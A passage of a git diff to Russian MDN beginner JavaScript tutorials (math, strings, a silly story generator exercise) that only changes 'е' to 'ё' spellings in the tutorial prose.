поддельный поисковый сайт с полем поиска. Идея заключается в том, что когда в поле поиска вводятся запросы, в списке отображаются 5 предыдущих поисковых запросов. Когда число терминов превышает 5, последний член начинает удаляться каждый раз, когда новый член добавляется в начало, поэтому всегда отображаются 5 предыдущих терминов.</p> <div class="note"> -<p><strong>Примечание:</strong> В реальном приложении для поиска вы, вероятно, сможете щелкнуть предыдущие условия поиска, чтобы вернуться к предыдущим поисковым запросам и отобразите фактические результаты поиска! На данный момент мы просто сохраняем его.</p> +<p><strong>Примечание:</strong> В реальном приложении для поиска вы, вероятно, сможете щёлкнуть предыдущие условия поиска, чтобы вернуться к предыдущим поисковым запросам и отобразите фактические результаты поиска! На данный момент мы просто сохраняем его.</p> </div> <p>Чтобы завершить приложение, вам необходимо:</p> <ol> - <li>Добавьте строку под комментарием <code>// number 1</code>, которая добавляет текущее значение, введенное в ввод поиска, к началу массива. Его можно получить с помощью <code>searchInput.value</code>.</li> + <li>Добавьте строку под комментарием <code>// number 1</code>, которая добавляет текущее значение, введённое в ввод поиска, к началу массива. Его можно получить с помощью <code>searchInput.value</code>.</li> <li>Добавьте строку под комментарием <code>// number 2</code>, которая удаляет значение, находящееся в конце массива.</li> </ol> diff --git a/files/ru/learn/javascript/first_steps/math/index.html b/files/ru/learn/javascript/first_steps/math/index.html index 893720c23e..0f980771fb 100644 --- a/files/ru/learn/javascript/first_steps/math/index.html +++ b/files/ru/learn/javascript/first_steps/math/index.html @@ -35,7 +35,7 @@ original_slug: Learn/JavaScript/Первые_шаги/Math <h2 id="Все_любят_математику">Все любят математику</h2> -<p>Хорошо, может быть, не все. Некоторые из нас любят математику, некоторые из нас ненавидели математику с тех пор, как мы изучали таблицу умножения в школе, а некоторые из нас находятся где-то между ними. Но никто из нас не может отрицать, что математика является фундаментальной частью жизни, и мы не можем обойтись без нее. Это особенно актуально, когда мы учимся программировать на JavaScript (или на любом другом языке, если на то пошло) — большая часть того, что мы делаем, опирается на обработку числовых данных, вычисление новых значений и т.д. Так что не удивительно, что JavaScript имеет полнофункциональный набор математических функций.</p> +<p>Хорошо, может быть, не все. Некоторые из нас любят математику, некоторые из нас ненавидели математику с тех пор, как мы изучали таблицу умножения в школе, а некоторые из нас находятся где-то между ними. Но никто из нас не может отрицать, что математика является фундаментальной частью жизни, и мы не можем обойтись без неё. Это особенно актуально, когда мы учимся программировать на JavaScript (или на любом другом языке, если на то пошло) — большая часть того, что мы делаем, опирается на обработку числовых данных, вычисление новых значений и т.д. Так что не удивительно, что JavaScript имеет полнофункциональный набор математических функций.</p> <p>В этой статье обсуждаются только основные разделы, которые вам нужно знать сейчас.</p> @@ -58,7 +58,7 @@ original_slug: Learn/JavaScript/Первые_шаги/Math <li><strong>Шестнадцатеричная</strong> — 16-ти разрядная, используют 0–9 и потом a–f в каждом столбце. Вы, возможно, уже встречали эти числа, когда задавали <a href="/en-US/Learn/CSS/Introduction_to_CSS/Values_and_units#Hexadecimal_values">цвет в CSS</a>.</li> </ul> -<p><strong>Прежде чем взорвется ваш мозг, остановитесь прямо здесь и сейчас!</strong> </p> +<p><strong>Прежде чем взорвётся ваш мозг, остановитесь прямо здесь и сейчас!</strong> </p> <p>Во-первых, мы просто будем придерживаться десятичных чисел на протяжении всего курса; вы редко когда будете сталкиваться с необходимостью думать в других числовых системах, если вообще когда-либо с ней столкнетесь.</p> @@ -75,8 +75,8 @@ var myFloat = 6.667; myInt; myFloat;</pre> </li> - <li>Числовые значения набираются без кавычек. Попробуйте объявить и инициализировать еще пару переменных, содержащих числа, прежде чем двигаться дальше.</li> - <li>Теперь давайте убедимся, что обе переменные содержат одинаковый тип данных. Для этого есть оператор {{jsxref("Operators/typeof", "typeof")}}, который позволяет проверить какой тип данных содержит в себе переменная. Введите две приведенные ниже строки: + <li>Числовые значения набираются без кавычек. Попробуйте объявить и инициализировать ещё пару переменных, содержащих числа, прежде чем двигаться дальше.</li> + <li>Теперь давайте убедимся, что обе переменные содержат одинаковый тип данных. Для этого есть оператор {{jsxref("Operators/typeof", "typeof")}}, который позволяет проверить какой тип данных содержит в себе переменная. Введите две приведённые ниже строки: <pre class="brush: js">typeof myInt; typeof myFloat;</pre> В обоих случаях вы должны получить <code>"number"</code> — это все упрощает, чем если бы разные числа имели разные типы данных, и нам приходилось иметь дело с ними по-разному.</li> @@ -143,7 +143,7 @@ typeof myFloat;</pre> <p><strong>Примечание</strong>: Иногда числа участвующие в математических операциях называют операндами ( {{Glossary("Operand", "operands")}} ).</p> </div> -<p dir="ltr" id="tw-target-text">Нам, вероятно, не нужно учить вас базовым математическим операциям, но мы хотели бы проверить ваше понимание синтаксиса. Попробуйте ввести приведенные ниже примеры в свою консоль (<a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">developer tools JavaScript console</a>), или используйте встроенную консоль, с которой вы уже знакомы, чтобы ознакомиться с синтаксисом.</p> +<p dir="ltr" id="tw-target-text">Нам, вероятно, не нужно учить вас базовым математическим операциям, но мы хотели бы проверить ваше понимание синтаксиса. Попробуйте ввести приведённые ниже примеры в свою консоль (<a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">developer tools JavaScript console</a>), или используйте встроенную консоль, с которой вы уже знакомы, чтобы ознакомиться с синтаксисом.</p> <ol> <li>Для начала попробуйте ввести простые примеры, такие как: @@ -164,7 +164,7 @@ num2 + num1 / 8 + 2;</pre> </li> </ol> -<p>Некоторые примеры выше могут дать вам не тот результат, которого вы ожидали; приведенный ниже раздел может дать ответ на вопрос о том, почему.</p> +<p>Некоторые примеры выше могут дать вам не тот результат, которого вы ожидали; приведённый ниже раздел может дать ответ на вопрос о том, почему.</p> <h3 id="Приоритет_операторов">Приоритет операторов</h3> @@ -176,7 +176,7 @@ num2 + num1 / 8 + 2;</pre> <p>Но браузер видит это по-другому: <em>"10 делить на 8 равно 1.25", </em>затем <em>"50 плюс 1.25 плюс 2 равно 53.25".</em></p> -<p>Это происходит из-за <strong>приоритета операторов</strong> - некоторые операторы будут применены перед другими в процесс вычисления суммы (в программировании ее называют выражением). Приоритет операторов в JavaScript ничем не отличается от приоритета арифметических операций, который вы изучали в школе - умножение и деление всегда выполняются первыми, затем сложение и вычитание (сумма всегда вычисляется слева направо).</p> +<p>Это происходит из-за <strong>приоритета операторов</strong> - некоторые операторы будут применены перед другими в процесс вычисления суммы (в программировании её называют выражением). Приоритет операторов в JavaScript ничем не отличается от приоритета арифметических операций, который вы изучали в школе - умножение и деление всегда выполняются первыми, затем сложение и вычитание (сумма всегда вычисляется слева направо).</p> <p>Если вы хотите переопределить порядок выполнения операторов, вы можете окружить парными скобками часть выражения, которая должна быть выполнена первой. Для получения результата 6 вам следует сделать следующее:</p> @@ -195,10 +195,10 @@ num2 + num1 / 8 + 2;</pre> <pre class="brush: js">guessCount++;</pre> <div class="note"> -<p><strong>Замечание</strong>: инкремент и декремент часто используются в <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">циклах</a>, о которых вы узнаете позже. Например, если вы захотите пройтись по списку цен и добавить к каждой налог с продаж, вам придется в цикле обойти каждую цену и провести необходимые вычисления для учета налога. Инкремент будет использован для перехода на новую ячейку списка при необходимости. У нас есть несложный пример реализации такого списка - попробуйте и взгляните на код чтобы посмотреть, сможете ли вы найти инкременты! Мы взглянем на циклы поближе позже по ходу курса.</p> +<p><strong>Замечание</strong>: инкремент и декремент часто используются в <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">циклах</a>, о которых вы узнаете позже. Например, если вы захотите пройтись по списку цен и добавить к каждой налог с продаж, вам придётся в цикле обойти каждую цену и провести необходимые вычисления для учёта налога. Инкремент будет использован для перехода на новую ячейку списка при необходимости. У нас есть несложный пример реализации такого списка - попробуйте и взгляните на код чтобы посмотреть, сможете ли вы найти инкременты! Мы взглянем на циклы поближе позже по ходу курса.</p> </div> -<p>Давайте попробуем сыграть с этим в вашей консоли. Для начала заметим, что вы не можете использовать инкремент/декремент непосредственно к числу, что может показаться странным. Дело в том, что мы присваиваем к переменной новое обновленное число, а не просто вычисляем значение. Следующий пример приведет к ошибке:</p> +<p>Давайте попробуем сыграть с этим в вашей консоли. Для начала заметим, что вы не можете использовать инкремент/декремент непосредственно к числу, что может показаться странным. Дело в том, что мы присваиваем к переменной новое обновлённое число, а не просто вычисляем значение. Следующий пример приведёт к ошибке:</p> <pre class="brush: js">3++;</pre> @@ -207,7 +207,7 @@ num2 + num1 / 8 + 2;</pre> <pre class="brush: js">var num1 = 4; num1++;</pre> -<p>Так, вторая странность! Если вы сделаете это, вы получите значение 4 - браузер возвращает текущее число, после чего применяет к нему оператор инкремента. Вы можете удостовериться в том, что инкремент был применен, узнав значение переменной еще раз:</p> +<p>Так, вторая странность! Если вы сделаете это, вы получите значение 4 - браузер возвращает текущее число, после чего применяет к нему оператор инкремента. Вы можете удостовериться в том, что инкремент был применён, узнав значение переменной ещё раз:</p> <pre class="brush: js">num1;</pre> @@ -218,7 +218,7 @@ num2--; num2;</pre> <div class="note"> -<p><strong>Замечание</strong>: вы можете заставить делать это в другом порядке - применить инкремент/декремент и только потом вернуть значение. Для этого необходимо записать оператор слева от переменной, а не справа. Попробуйте пример сверху еще раз, но в этот раз используйте <code>++num1</code> и <code>--num2</code>. </p> +<p><strong>Замечание</strong>: вы можете заставить делать это в другом порядке - применить инкремент/декремент и только потом вернуть значение. Для этого необходимо записать оператор слева от переменной, а не справа. Попробуйте пример сверху ещё раз, но в этот раз используйте <code>++num1</code> и <code>--num2</code>. </p> </div> <h2 id="Операторы_присваивания">Операторы присваивания</h2> @@ -229,7 +229,7 @@ num2;</pre> var y = 4; // y содержит значение 4 x = y; // x теперь содержит значение y (x == 4)</pre> -<p>Однако есть еще несколько сложных конструкций, которые позволяют делать ваш код более простым и аккуратным. Наиболее часто используемые перечислены ниже:</p> +<p>Однако есть ещё несколько сложных конструкций, которые позволяют делать ваш код более простым и аккуратным. Наиболее часто используемые перечислены ниже:</p> <table class="standard-table"> <thead> @@ -292,7 +292,7 @@ var y = 4; // y содержит значение 4 x *= y; // x содержит значение 12</pre> <div class="note"> -<p><strong>Заметка: есть еще <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Expressions_and_Operators">другие операторы присваивания</a></strong>,<strong> в этой статье перечислены только самые базовые.</strong></p> +<p><strong>Заметка: есть ещё <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Expressions_and_Operators">другие операторы присваивания</a></strong>,<strong> в этой статье перечислены только самые базовые.</strong></p> </div> <h2 id="Активное_обучение_меняем_размеры_коробки">Активное обучение: меняем размеры коробки</h2> @@ -306,15 +306,15 @@ x *= y; // x содержит значение 12</pre> <p>В коде сверху, который вы можете изменять, под комментарием есть две строчки, с помощью которых вы можете увеличивать/уменьшать размеры коробки. Мы хотим, чтобы вы выполнили несколько заданий:</p> <ul> - <li>Поменяйте строчку с размером x так, чтобы коробка была шириной 50px, причем 50 должно быть вычислено с помощью чисел 43 и 7 и арифметического оператора.</li> - <li>Поменяйте строчку с размером y так, чтобы коробка была высотой 75px, причем 75 должно быть вычислено с помощью чисел 25 и 3 и арифметического оператора.</li> + <li>Поменяйте строчку с размером x так, чтобы коробка была шириной 50px, причём 50 должно быть вычислено с помощью чисел 43 и 7 и арифметического оператора.</li> + <li>Поменяйте строчку с размером y так, чтобы коробка была высотой 75px, причём 75 должно быть вычислено с помощью чисел 25 и 3 и арифметического оператора.</li> <li>Поменяйте строчку с размером y так, чтобы коробка была высотой 250, при этом 250 вычислено с помощью двух чисел и оператором взятия остатка (модуль).</li> - <li>Поменяйте строчку с размером y так, чтобы коробка была высотой 150px, причем 150 вычислено с помощью трех чисел и операторов вычитания и деления.</li> + <li>Поменяйте строчку с размером y так, чтобы коробка была высотой 150px, причём 150 вычислено с помощью трёх чисел и операторов вычитания и деления.</li> <li>Поменяйте строчку с размером x так, чтобы коробка была шириной 200px, при этом 200 вычислено с помощью числа 4 и оператора присваивания.</li> - <li>Поменяйте строчку с размером y так, чтобы коробка была высотой 200px, причем 200 вычислено с помощью чисел 50 и 3 и операторов умножения и присваивания сложения.</li> + <li>Поменяйте строчку с размером y так, чтобы коробка была высотой 200px, причём 200 вычислено с помощью чисел 50 и 3 и операторов умножения и присваивания сложения.</li> </ul> -<p>Не расстраивайтесь, если вы не поняли код сверху. Нажмите кнопку <em>Reset</em> для запуска программы снова. Если вы смогли ответить верно на все вопросы, попробуйте поэкспериментировать с кодом еще (или, например, предложить друзьям несколько заданий).</p> +<p>Не расстраивайтесь, если вы не поняли код сверху. Нажмите кнопку <em>Reset</em> для запуска программы снова. Если вы смогли ответить верно на все вопросы, попробуйте поэкспериментировать с кодом ещё (или, например, предложить друзьям несколько заданий).</p> <h2 id="Операторы_сравнения">Операторы сравнения</h2> @@ -405,10 +405,10 @@ function updateBtn() { <p><strong><a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/conditional.html">Открыть в новом окне</a></strong></p> -<p>Мы использовали оператор равенства внутри функции <code>updateBtn()</code>. В этом случае мы не проверяем пару математических выражений на равенство значений — мы просто смотрим, является ли текст на кнопке определенной строкой — что по сути является тем же самым. Если кнопка при нажатии содержит "Start machine", мы меняем содержимое метки на "Stop machine" и обновляем метку. Если же текст кнопки — "Stop machine", при нажатии мы возвращаем все обратно. </p> +<p>Мы использовали оператор равенства внутри функции <code>updateBtn()</code>. В этом случае мы не проверяем пару математических выражений на равенство значений — мы просто смотрим, является ли текст на кнопке определённой строкой — что по сути является тем же самым. Если кнопка при нажатии содержит "Start machine", мы меняем содержимое метки на "Stop machine" и обновляем метку. Если же текст кнопки — "Stop machine", при нажатии мы возвращаем все обратно. </p> <div class="note"> -<p><strong>Заметка</strong>: Такой элемент управления, который переключается между двумя состояниями, обычно называется <strong>тумблером</strong>. Он переключается между одним состоянием и другим: свет включен, свет выключен и т. д.</p> +<p><strong>Заметка</strong>: Такой элемент управления, который переключается между двумя состояниями, обычно называется <strong>тумблером</strong>. Он переключается между одним состоянием и другим: свет включён, свет выключен и т. д.</p> </div> <h2 id="Итого">Итого</h2> diff --git a/files/ru/learn/javascript/first_steps/silly_story_generator/index.html b/files/ru/learn/javascript/first_steps/silly_story_generator/index.html index 23671b5e99..8e0b8b7ac9 100644 --- a/files/ru/learn/javascript/first_steps/silly_story_generator/index.html +++ b/files/ru/learn/javascript/first_steps/silly_story_generator/index.html @@ -41,7 +41,7 @@ original_slug: Learn/JavaScript/Первые_шаги/Создатель_глу <ul> <li>Перейти и <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/index.html">скопировать файл HTML</a> как пример, сохранив его локальную копию как <code>index.html</code> в новой папке где-то на вашем компьютере. Там же будет храниться и CSS документ нужный для стилизации.</li> - <li>Перейти на <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/raw-text.txt">страницу, содержащую исходный текст, </a>и оставить ее открытой в отдельной вкладке браузера. Она вам понадобится позже.</li> + <li>Перейти на <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/raw-text.txt">страницу, содержащую исходный текст, </a>и оставить её открытой в отдельной вкладке браузера. Она вам понадобится позже.</li> </ul> <div class="note"> @@ -53,8 +53,8 @@ original_slug: Learn/JavaScript/Первые_шаги/Создатель_глу <p><span id="result_box" lang="ru"><span>Вам предоставили некоторый необработанный HTML/CSS, несколько текстовых строк и функций JavaScript;</span> <span>вам необходимо написать необходимый JavaScript код, чтобы превратить это в рабочую программу, которая выполняет следующие действия:</span></span></p> <ul> - <li>Создает глупую историю по нажатию на кнопку "Generate random story".</li> - <li>Заменяет стандартное имя "Bob" в истории на свое имя, только если оно введено в поле "Enter custom name" перед тем, как нажата создающая кнопка.</li> + <li>Создаёт глупую историю по нажатию на кнопку "Generate random story".</li> + <li>Заменяет стандартное имя "Bob" в истории на своё имя, только если оно введено в поле "Enter custom name" перед тем, как нажата создающая кнопка.</li> <li>Конвертирует изначальные US величины веса и температуры в соответствующие для UK, если выбран соответствующий переключатель.</li> <li>Будет создавать другую глупую историю если нажать на кнопку снова (и снова... )</li> </ul> @@ -83,9 +83,9 @@ original_slug: Learn/JavaScript/Первые_шаги/Создатель_глу <li>Теперь взгляните на второй параграф исходного документа — "2. RAW TEXT STRINGS". Он содержит строки текста, которые будут использоваться как входные данные вашей программы. Вам следует поместить их внутрь переменных в файле <code>main.js</code>: <ol> <li>Сохраните первую большую строку текста в переменную <code>storyText</code>.</li> - <li>Сохраните первый блок из трех строк как массив, назвав его <code>insertX</code>.</li> - <li>Сохраните второй блок из трех строк как массив, назвав его <code>insertY</code>.</li> - <li>Сохраните третий блок из трех строк как массив, назвав его <code>insertZ</code>.</li> + <li>Сохраните первый блок из трёх строк как массив, назвав его <code>insertX</code>.</li> + <li>Сохраните второй блок из трёх строк как массив, назвав его <code>insertY</code>.</li> + <li>Сохраните третий блок из трёх строк как массив, назвав его <code>insertZ</code>.</li> </ol> </li> </ol> @@ -97,7 +97,7 @@ original_slug: Learn/JavaScript/Первые_шаги/Создатель_глу <li>Скопируйте код под заголовком "3. EVENT LISTENER AND PARTIAL FUNCTION DEFINITION" и вставьте его в конец файла <code>main.js</code>. Это: <ul> <li>Добавит обработчик события кликанья в переменную <code>randomize</code>, Так что, когда кнопка будет нажата - функция <code>result()</code> запустится.</li> - <li>Добавляет в код частично завершенную функцию <code>result()</code>. В течении оставшейся части испытания вам предстоит, заполняя строчки внутри этой функции, завершить ее и заставить работать должным образом.</li> + <li>Добавляет в код частично завершённую функцию <code>result()</code>. В течении оставшейся части испытания вам предстоит, заполняя строчки внутри этой функции, завершить её и заставить работать должным образом.</li> </ul> </li> </ol> @@ -105,16 +105,16 @@ original_slug: Learn/JavaScript/Первые_шаги/Создатель_глу <p>Завершение функции <code>result()</code>:</p> <ol> - <li>Создайте новую переменную <code>newStory</code> и установите ее значение равным <code>storyText</code>. Это необходимо, чтобы мы могли создавать новую случайную историю каждый раз, когда нажимается кнопка, и функция запускается. Если бы мы внесли изменения непосредственно в <code>storyText</code>, мы могли бы генерировать новую историю только один раз.</li> - <li>Создайте три новые переменные, называемые <code>xItem</code>, <code>yItem</code> и <code>zItem</code>, и сделайте их равными результату вызова <code>randomValueFromArray()</code> на трех ваших массивах (результат в каждом случае будет случайным элементом из каждого массива, на который он вызывается). Например, вы можете вызвать функцию и получить ее, чтобы вернуть одну случайную строку из <code>insertX</code>, записав <code>randomValueFromArray (insertX)</code>.</li> - <li>Затем мы хотим заменить три заполнителя строки <code>newStory</code> - <code>:insertx:</code>, <code>:inserty :</code> и <code>:insertz:</code> - со строками, хранящимися в <code>xItem</code>, <code>yItem</code> и <code>zItem</code>. Здесь вам поможет определенный строковый метод - в каждом случае сделать вызов метода равным <code>newStory</code>, при этом каждый раз, когда он вызывается, <code>newStory</code> делается равным самому себе, но с выполненными заменами. Поэтому каждый раз, когда нажимается кнопка, эти заполнители заменяются случайной строкой. Подсказка: рассматриваемый метод заменяет только первый экземпляр найденной подстроки, поэтому вам, возможно, придется сделать один из вызовов дважды.</li> + <li>Создайте новую переменную <code>newStory</code> и установите её значение равным <code>storyText</code>. Это необходимо, чтобы мы могли создавать новую случайную историю каждый раз, когда нажимается кнопка, и функция запускается. Если бы мы внесли изменения непосредственно в <code>storyText</code>, мы могли бы генерировать новую историю только один раз.</li> + <li>Создайте три новые переменные, называемые <code>xItem</code>, <code>yItem</code> и <code>zItem</code>, и сделайте их равными результату вызова <code>randomValueFromArray()</code> на трёх ваших массивах (результат в каждом случае будет случайным элементом из каждого массива, на который он вызывается). Например, вы можете вызвать функцию и получить её, чтобы вернуть одну случайную строку из <code>insertX</code>, записав <code>randomValueFromArray (insertX)</code>.</li> + <li>Затем мы хотим заменить три заполнителя строки <code>newStory</code> - <code>:insertx:</code>, <code>:inserty :</code> и <code>:insertz:</code> - со строками, хранящимися в <code>xItem</code>, <code>yItem</code> и <code>zItem</code>. Здесь вам поможет определённый строковый метод - в каждом случае сделать вызов метода равным <code>newStory</code>, при этом каждый раз, когда он вызывается, <code>newStory</code> делается равным самому себе, но с выполненными заменами. Поэтому каждый раз, когда нажимается кнопка, эти заполнители заменяются случайной строкой. Подсказка: рассматриваемый метод заменяет только первый экземпляр найденной подстроки, поэтому вам, возможно, придётся сделать один из вызовов дважды.</li> <li>Внутри первого блока <code>if</code> добавьте другой метод замены строки, чтобы заменить имя «Боб», найденное в строке <code>newStory</code>, с помощью переменной <code>name</code>. В этом блоке мы говорим: «Если значение введено в текстовый ввод <code>customName</code>, замените Боба в истории этим пользовательским именем».</li> <li>Внутри второго блока <code>if</code> мы проверяем, была ли выбрана радиокнопка <code>uk</code>. Если это так, мы хотим преобразовать значения веса и температуры в историю из фунтов и Фаренгейта в метры и по Цельсию. Что вам нужно сделать, так это: <ol> <li>Посмотрите формулу преобразования фунтов в стоуны и Фаренгейта в по Цельсию.</li> - <li>Внутри линии, которая определяет <code>weight</code> переменную, замените 300 на расчет, который преобразует 300 фунтов в стоуны. Добавьте <code>'stone'</code> в конце результата общего вызова <code>Math.round()</code>.</li> - <li>Внутри линии, определяющей <code>temperature</code> переменную, замените 94 на расчет, который преобразует 94 градуса по Фаренгейту в по Цельсию. Добавьте <code>'centigrade'</code> в конце результата общего вызова <code>Math.round()</code>.</li> - <li>Просто под двумя определениями переменных добавьте еще две строки замены строк, которые заменяют «94 farenheit» на содержимое переменной <code>temperature</code> и«300 pounds» на содержимое <code>weight</code> переменной.</li> + <li>Внутри линии, которая определяет <code>weight</code> переменную, замените 300 на расчёт, который преобразует 300 фунтов в стоуны. Добавьте <code>'stone'</code> в конце результата общего вызова <code>Math.round()</code>.</li> + <li>Внутри линии, определяющей <code>temperature</code> переменную, замените 94 на расчёт, который преобразует 94 градуса по Фаренгейту в по Цельсию. Добавьте <code>'centigrade'</code> в конце результата общего вызова <code>Math.round()</code>.</li> + <li>Просто под двумя определениями переменных добавьте ещё две строки замены строк, которые заменяют «94 farenheit» на содержимое переменной <code>temperature</code> и«300 pounds» на содержимое <code>weight</code> переменной.</li> </ol> </li> <li>Наконец, в предпоследней строке функции сделайте свойство <code>textContent</code> переменной <code>story</code> (которая ссылается на абзац) равным <code>newStory</code>.</li> diff --git a/files/ru/learn/javascript/first_steps/strings/index.html b/files/ru/learn/javascript/first_steps/strings/index.html index 3bbdedaca4..73dcd20835 100644 --- a/files/ru/learn/javascript/first_steps/strings/index.html +++ b/files/ru/learn/javascript/first_steps/strings/index.html @@ -8,7 +8,7 @@ original_slug: Learn/JavaScript/Первые_шаги/Строки <div>{{PreviousMenuNext("Learn/JavaScript/Первые_шаги/Math", "Learn/JavaScript/Первые_шаги/Useful_string_methods", "Learn/JavaScript/Первые_шаги")}}</div> -<p class="summary">Теперь мы обратим внимание на строки — в программировании так называют части текста. В этой статье мы рассмотрим все распространенные вещи, которые вы должны действительно знать о строках при изучении JavaScript, например, создание строк, <span id="result_box" lang="ru"><span>экранирование кавычек в строках и объединение строк вместе.</span></span></p> +<p class="summary">Теперь мы обратим внимание на строки — в программировании так называют части текста. В этой статье мы рассмотрим все распространённые вещи, которые вы должны действительно знать о строках при изучении JavaScript, например, создание строк, <span id="result_box" lang="ru"><span>экранирование кавычек в строках и объединение строк вместе.</span></span></p> <table class="learn-box standard-table"> <tbody> @@ -31,7 +31,7 @@ original_slug: Learn/JavaScript/Первые_шаги/Строки <h2 id="Строки_—_основы">Строки — основы</h2> -<p>С первого взгляда строки обрабатываются аналогично числам, но если копнуть глубже, вы увидите некоторые заметные отличия. Давайте начнем с ввода некоторых основных строк в консоль, чтобы ознакомиться с ними. Мы предоставили одну ниже (вы также можете <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">открыть эту консоль</a> в отдельной вкладке или окне или использовать <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">консоль разработчика браузера</a>, если хотите).</p> +<p>С первого взгляда строки обрабатываются аналогично числам, но если копнуть глубже, вы увидите некоторые заметные отличия. Давайте начнём с ввода некоторых основных строк в консоль, чтобы ознакомиться с ними. Мы предоставили одну ниже (вы также можете <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">открыть эту консоль</a> в отдельной вкладке или окне или использовать <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">консоль разработчика браузера</a>, если хотите).</p> <div class="hidden"> <h6 id="Hidden_code">Hidden code</h6> @@ -152,7 +152,7 @@ original_slug: Learn/JavaScript/Первые_шаги/Строки <pre class="brush: js notranslate">var string = 'The revolution will not be televised.'; string;</pre> </li> - <li>Как и в случае с числами, мы объявляем переменную, инициализируя ее строковым значением, а затем возвращаем значение. Единственное различие здесь в том, что при написании строки вам нужно окружить значение кавычками. </li> + <li>Как и в случае с числами, мы объявляем переменную, инициализируя её строковым значением, а затем возвращаем значение. Единственное различие здесь в том, что при написании строки вам нужно окружить значение кавычками. </li> <li>Если вы не сделаете этого или пропустите одну из кавычек, вы получите сообщение об ошибке. Попробуйте ввести следующие строки: <pre class="brush: js example-bad notranslate">var badString = This is a test; var badString = 'This is a test; @@ -173,10 +173,10 @@ var dbl = "Double quotes"; sgl; dbl;</pre> </li> - <li>Существует очень мало различий между одиночными и двойными кавычками, и решение какие из них использовать в коде остается на ваше усмотрение. Однако вы должны выбрать один вариант и придерживаться его, иначе ваш код может выдать ошибку, особенно если вы используете разные кавычки в одной строке! Ниже приведен пример: + <li>Существует очень мало различий между одиночными и двойными кавычками, и решение какие из них использовать в коде остаётся на ваше усмотрение. Однако вы должны выбрать один вариант и придерживаться его, иначе ваш код может выдать ошибку, особенно если вы используете разные кавычки в одной строке! Ниже приведён пример: <pre class="brush: js example-bad notranslate">var badQuotes = 'What on earth?";</pre> </li> - <li>Браузер будет считать, что строка не была закрыта, потому что в строке может появиться другой тип цитаты, который вы не используете, чтобы хранить ваши строки в переменных. Из примера можно понять, о чем идет речь (в коде ошибок нет): + <li>Браузер будет считать, что строка не была закрыта, потому что в строке может появиться другой тип цитаты, который вы не используете, чтобы хранить ваши строки в переменных. Из примера можно понять, о чем идёт речь (в коде ошибок нет): <pre class="brush: js notranslate">var sglDbl = 'Would you eat a "fish supper"?'; var dblSgl = "I'm feeling blue."; sglDbl; @@ -189,7 +189,7 @@ dblSgl;</pre> <h3 id="Экранирование_кавычек_в_строках">Экранирование кавычек в строках</h3> -<p>Чтобы исправить нашу предыдущую строку кода, нам нужно дать понять браузеру, что кавычка в середине строки не является меткой ее конца. Экранирование символов означает, что мы делаем что-то с ними, чтобы убедиться, что они распознаются как текст, а не часть кода. В JavaScript мы делаем это, помещая обратную косую черту непосредственно перед символом. Введите эти строки:</p> +<p>Чтобы исправить нашу предыдущую строку кода, нам нужно дать понять браузеру, что кавычка в середине строки не является меткой её конца. Экранирование символов означает, что мы делаем что-то с ними, чтобы убедиться, что они распознаются как текст, а не часть кода. В JavaScript мы делаем это, помещая обратную косую черту непосредственно перед символом. Введите эти строки:</p> <pre class="brush: js notranslate">var bigmouth = 'I\'ve got no right to take my place...'; bigmouth;</pre> @@ -217,7 +217,7 @@ response;</pre> </ol> <div class="note"> -<p><strong>Примечание: </strong>Когда вы вводите фактическую строку в свой код, заключенную в одинарные или двойные кавычки, она называется <strong>строковым литералом.</strong></p> +<p><strong>Примечание: </strong>Когда вы вводите фактическую строку в свой код, заключённую в одинарные или двойные кавычки, она называется <strong>строковым литералом.</strong></p> </div> <h3 id="Конкатенация_строк_в_контексте">Конкатенация строк в контексте</h3> @@ -235,7 +235,7 @@ button.onclick = function() { <p>{{ EmbedLiveSample('Concatenation_in_context', '100%', 50) }}</p> -<p>Здесь мы используем функцию {{domxref ("Window.prompt ()", "Window.prompt ()")}} в строке 4, которая просит пользователя ответить на вопрос через всплывающее диалоговое окно, а затем сохраняет введенный текст внутри заданной переменной — в этом случае <code><strong>name</strong></code>. Затем мы используем функцию {{domxref ("Window.alert ()", "Window.alert ()")}} в строке 5 для отображения другого всплывающего окна, содержащего строку, которую мы собрали из двух строковых литералов и переменной <code>name</code>.</p> +<p>Здесь мы используем функцию {{domxref ("Window.prompt ()", "Window.prompt ()")}} в строке 4, которая просит пользователя ответить на вопрос через всплывающее диалоговое окно, а затем сохраняет введённый текст внутри заданной переменной — в этом случае <code><strong>name</strong></code>. Затем мы используем функцию {{domxref ("Window.alert ()", "Window.alert ()")}} в строке 5 для отображения другого всплывающего окна, содержащего строку, которую мы собрали из двух строковых литералов и переменной <code>name</code>.</p> <h3 id="Числа_vs._строки">Числа vs. строки</h3> @@ -244,7 +244,7 @@ button.onclick = function() { <pre class="brush: js notranslate">'Front ' + 242; </pre> Вы можете ожидать, что это вызовет ошибку, но все работает отлично. Попытка представить строку как число на самом деле не имеет смысла, но число как строку — имеет, поэтому браузер довольно умно преобразует число в строку и объединяет две строки вместе.</li> - <li>Вы даже можете сделать это с двумя числами, вы можете заставить число стать строкой, обернув ее в кавычки. Попробуйте следующее (мы используем оператор <code>typeof</code> для того, чтобы установить является ли переменная числом или строкой): + <li>Вы даже можете сделать это с двумя числами, вы можете заставить число стать строкой, обернув её в кавычки. Попробуйте следующее (мы используем оператор <code>typeof</code> для того, чтобы установить является ли переменная числом или строкой): <pre class="brush: js notranslate">var myDate = '19' + '67'; typeof myDate;</pre> </li> diff --git a/files/ru/learn/javascript/first_steps/useful_string_methods/index.html b/files/ru/learn/javascript/first_steps/useful_string_methods/index.html index aa85c3309d..9e461e9da7 100644 --- a/files/ru/learn/javascript/first_steps/useful_string_methods/index.html +++ b/files/ru/learn/javascript/first_steps/useful_string_methods/index.html @@ -20,7 +20,7 @@ original_slug: Learn/JavaScript/Первые_шаги/Useful_string_methods 